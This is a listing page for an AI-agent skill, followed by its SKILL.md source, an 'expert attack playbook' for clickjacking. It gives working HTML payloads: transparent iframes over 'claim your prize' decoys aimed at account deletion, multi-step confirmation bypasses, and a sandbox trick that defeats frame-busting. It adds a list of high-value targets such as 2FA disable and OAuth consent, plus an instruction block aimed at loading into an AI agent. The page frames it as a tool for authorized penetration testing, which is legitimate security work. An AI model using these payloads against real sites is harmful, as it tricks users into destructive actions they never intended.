clickjacking — Claude Code skill: framing checks and UI redress
A clickjacking playbook: find out whether a page can be framed and whether an invisible overlay can trigger a sensitive action.
npx skills add yaklang/hack-skills --skill clickjacking -a claude-codeWhat clickjacking does
The skill treats clickjacking as a UI redress attack: the target page loads in a transparent iframe on top of the attacker's page, so the victim sees one button and clicks another. It ships HTML PoC templates, from a single click to multi-step flows with a confirmation dialog and drag-and-drop between iframes.
Detection gets its own section. You get the header values that matter for X-Frame-Options and the frame-ancestors directive in CSP, plus the reason the latter overrides the former in modern browsers. JavaScript frame-busting is covered too, along with the sandbox attribute trick that skips allow-top-navigation, the deprecated ALLOW-FROM behaviour, and double-framing through a same-origin page that has no XFO.
Then comes the target list where one click costs the most: account deletion, password change, admin panel actions, payment confirmation, the OAuth Allow button, disabling two-factor authentication. This is a pentest tool, so point it at your own app or at a target you have written permission to test — running it against someone else's site is not a grey area.
What it helps with
- check whether a sensitive page loads inside a third-party iframe
- tell apart what actually protects a page:
X-Frame-Optionsor CSPframe-ancestors - build a single-click PoC for a vulnerability report
- bypass a JavaScript frame-busting script with the
sandboxattribute - assess the risk of multi-step actions that ask for confirmation
Example prompts for the agent
- check /account/settings for clickjacking: look at X-Frame-Options and CSP frame-ancestors
- build an HTML PoC that frames /admin/action and overlays a transparent iframe on a button
- the page has a frame-busting script — show me how to bypass it with sandbox
How to install clickjacking
1Skills CLI (Vercel)
npx skills add yaklang/hack-skills --skill clickjacking -a claude-code2Manually: put the files in place
~/.claude/skills/clickjacking/SKILL.mdCopy the whole skill folder; for one project use .claude/skills/clickjacking/
1Skills CLI (Vercel)
npx skills add yaklang/hack-skills --skill clickjacking -a codex2Manually: put the files in place
.agents/skills/clickjacking/SKILL.mdFor all projects use ~/.agents/skills/
1Skills CLI (Vercel)
npx skills add yaklang/hack-skills --skill clickjacking -a cursor2Manually: put the files in place
.cursor/skills/clickjacking/SKILL.mdCursor also reads .agents/skills/ and .claude/skills/
1GitHub CLI
gh skill install yaklang/hack-skills clickjacking2Manually: put the files in place
.github/skills/clickjacking/SKILL.md1Skills CLI (Vercel)
npx skills add yaklang/hack-skills --skill clickjacking -a gemini-cli2Platform CLI
gemini skills install https://github.com/yaklang/hack-skills --path skills/clickjackingManually: put the files in place
.devin/skills/clickjacking/SKILL.mdThe legacy .windsurf/skills/ path still works
Skills CLI (Vercel)
npx skills add yaklang/hack-skills --skill clickjacking -a opencodeClaude.ai
Zip the folder and upload it in Settings → Capabilities → Skills
Step by step, with commands for each platform: How to install skills in Claude Code: five ways
Questions about clickjacking
How do I install clickjacking in Claude?
Run npx skills add yaklang/hack-skills --skill clickjacking -a claude-code. The skill lands in ~/.claude/skills/clickjacking/SKILL.md.
What does the clickjacking skill do?
It gives you a UI redress testing method: framing detection from response headers, PoC templates, frame-busting bypasses, and a shortlist of actions worth testing first.
How is CSP frame-ancestors different from X-Frame-Options?
In modern browsers the frame-ancestors directive overrides the X-Frame-Options header. If the directive is missing while XFO is set, the protection may not behave the way you expect.
Source text
SKILL.md · MIT
---
name: clickjacking
description: >-
Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.
---
# SKILL: Clickjacking — Expert Attack Playbook
> **AI LOAD INSTRUCTION**: Clickjacking (UI redress) techniques. Covers iframe transparency tricks, X-Frame-Options bypass, CSP frame-ancestors, multi-step clickjacking, drag-and-drop attacks, and chaining with other vulnerabilities. Often a "low severity" finding that becomes critical when targeting admin actions.
## 1. CORE CONCEPT
Clickjacking loads a target page in a transparent iframe overlaid on an attacker's page. The victim sees the attacker's UI but clicks on the invisible target page, performing unintended actions.
```html
<style>
iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0.0001; z-index: 2; }
.decoy { position: absolute; top: 200px; left: 100px; z-index: 1; }
</style>
<div class="decoy"><button>Click to win a prize!</button></div>
<iframe src="https://target.com/account/delete?confirm=yes"></iframe>
```
---
## 2. DETECTION — IS THE PAGE FRAMEABLE?
### Check X-Frame-Options Header
```
X-Frame-Options: DENY → cannot be framed (secure)
X-Frame-Options: SAMEORIGIN → only same-origin framing (secure for cross-origin)
X-Frame-Options: ALLOW-FROM uri → deprecated, browser support inconsistent
(header absent) → frameable! (vulnerable)
```
### Check CSP frame-ancestors
```
Content-Security-Policy: frame-ancestors 'none' → cannot be framed
Content-Security-Policy: frame-ancestors 'self' → same-origin only
Content-Security-Policy: frame-ancestors https://a.com → specific origin
(directive absent) → frameable
```
**CSP frame-ancestors supersedes X-Frame-Options** in modern browsers.
### Quick PoC Test
```html
<iframe src="https://target.com/sensitive-action" width="800" height="600"></iframe>
```
If the page loads in the iframe → frameable → potentially vulnerable.
### JavaScript Frame Detection (from target page source)
```javascript
// Common frame-busting code found in target pages:
if (top.location.hostname !== self.location.hostname) {
top.location.href = self.location.href;
}
```
If this code is present but not using CSP `frame-ancestors`, it can often be bypassed.
---
## 3. PROOF OF CONCEPT TEMPLATES
### Basic Single-Click
```html
<html>
<head><title>Free Prize</title></head>
<body>
<h1>Click the button to claim your prize!</h1>
<style>
iframe { position: absolute; top: 300px; left: 60px;
width: 500px; height: 200px; opacity: 0.0001; z-index: 2; }
</style>
<iframe src="https://target.com/account/settings?action=delete"></iframe>
</body>
</html>
```
### Multi-Step Clickjacking
For actions requiring multiple clicks (e.g., "Are you sure?" confirmation):
```html
<div id="step1">
<button onclick="document.getElementById('step1').style.display='none';
document.getElementById('step2').style.display='block';">
Step 1: Click here
</button>
</div>
<div id="step2" style="display:none">
<button>Step 2: Confirm</button>
</div>
<iframe src="https://target.com/admin/action"></iframe>
```
Reposition iframe for each step to align the transparent button with the decoy.
### Drag-and-Drop Clickjacking
Extract data from one iframe to another using HTML5 drag-and-drop events — the victim drags across invisible iframes, transferring tokens or data.
---
## 4. BYPASS TECHNIQUES
### Frame-Busting Script Bypass
Some pages use JavaScript frame-busting:
```javascript
if (top !== self) { top.location = self.location; }
```
**Bypass with sandbox attribute**:
```html
<iframe src="https://target.com" sandbox="allow-forms allow-scripts"></iframe>
<!-- sandbox without allow-top-navigation prevents frame-busting -->
```
### X-Frame-Options ALLOW-FROM Bypass
`ALLOW-FROM` is not supported in Chrome/Safari. If the server relies solely on `ALLOW-FROM`, modern browsers ignore it → page is frameable.
### Double-Framing
If `X-Frame-Options: SAMEORIGIN` is set, but a same-origin page exists that can be framed (without XFO), use that page as an intermediary to frame the target.
---
## 5. HIGH-IMPACT TARGETS
```text
Account deletion page
Email/password change form
Admin panel actions (add user, change role)
Payment confirmation
OAuth authorization ("Allow" button)
Two-factor authentication disable
API key generation
Webhook configuration
```
---
## 6. TESTING CHECKLIST
```
□ Check X-Frame-Options header on sensitive pages
□ Check CSP frame-ancestors directive
□ Create iframe PoC and verify page loads
□ Test frame-busting scripts — try sandbox attribute bypass
□ Identify high-value single-click actions
□ For multi-step actions, build multi-click PoC
□ Test both authenticated and unauthenticated pages
□ Verify ALLOW-FROM behavior across browsers
```
© yaklang · MIT · yaklang/hack-skills